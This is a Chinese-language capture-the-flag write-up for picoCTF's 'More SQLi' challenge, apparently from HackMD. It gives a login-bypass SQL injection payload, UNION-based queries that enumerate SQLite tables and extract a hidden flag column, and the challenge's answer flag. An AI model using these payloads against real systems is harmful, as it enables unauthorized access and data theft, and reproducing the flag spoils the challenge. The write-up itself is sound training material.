# PicoCTF - More SQLi ## Background * [Feifei Lab](https://lab.feifei.tw/practice/sqli/sql4.php) * Hint SQLiLite ## Recon 先隨便輸入發現他很貼心有給完整的payload,發現他是先檢查password,在沒有任何防護的情況下,直接用最經典的payload就可了 Account: Any Password: `' or '1'='1' -- #`  ---  ## Exploit - SQLi(Union Selection) 現在的目標是flag應該是藏在別的table,所以先找甚麼table 1. 找table 透過[Kaibro的cheat sheet](https://github.com/w181496/Web-CTF-Cheatsheet#sqlite),SQLite的爆破payload是`SELECT name FROM sqlite_master WHERE type='table'`,而目前我們可以用union based的方式搜尋,先觀察搜尋`Algiers`的搜尋column有三個,第一個column是chr,第二個column是chr,第三個是int,所以在用union select的時候要遵守<font color="FF0000">**查詢數量一樣、每個欄位的型態一樣**</font> Payload: `Algiers' union SELECT sql,sql,1 FROM sqlite_master WHERE type='table'; --` :::spoiler Screenshot  ::: 2. Find Flag - Union based 目前發現有兩個table比較可疑 * CREATE TABLE hints (id INTEGER NOT NULL PRIMARY KEY, info TEXT) * CREATE TABLE more_table (id INTEGER NOT NULL PRIMARY KEY, flag TEXT) 可以直接用前面同樣的方式找flag,觀察這個table只有兩個column,且一個column的type是int,另外一個是text,而第三個column就隨便填 Payload: `Algiers' union SELECT id,flag,1 FROM more_table; --` :::spoiler Screenshot  ::: Flag: `picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_98236ce6}` ## Reference [ picoCTF 2023 More SQLi ](https://youtu.be/W1EjP6OFpUQ) [Kaibro - SQLi](https://github.com/w181496/Web-CTF-Cheatsheet#sqlite) [Feifei Lab](https://lab.feifei.tw/practice/sqli/sql4.php)
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up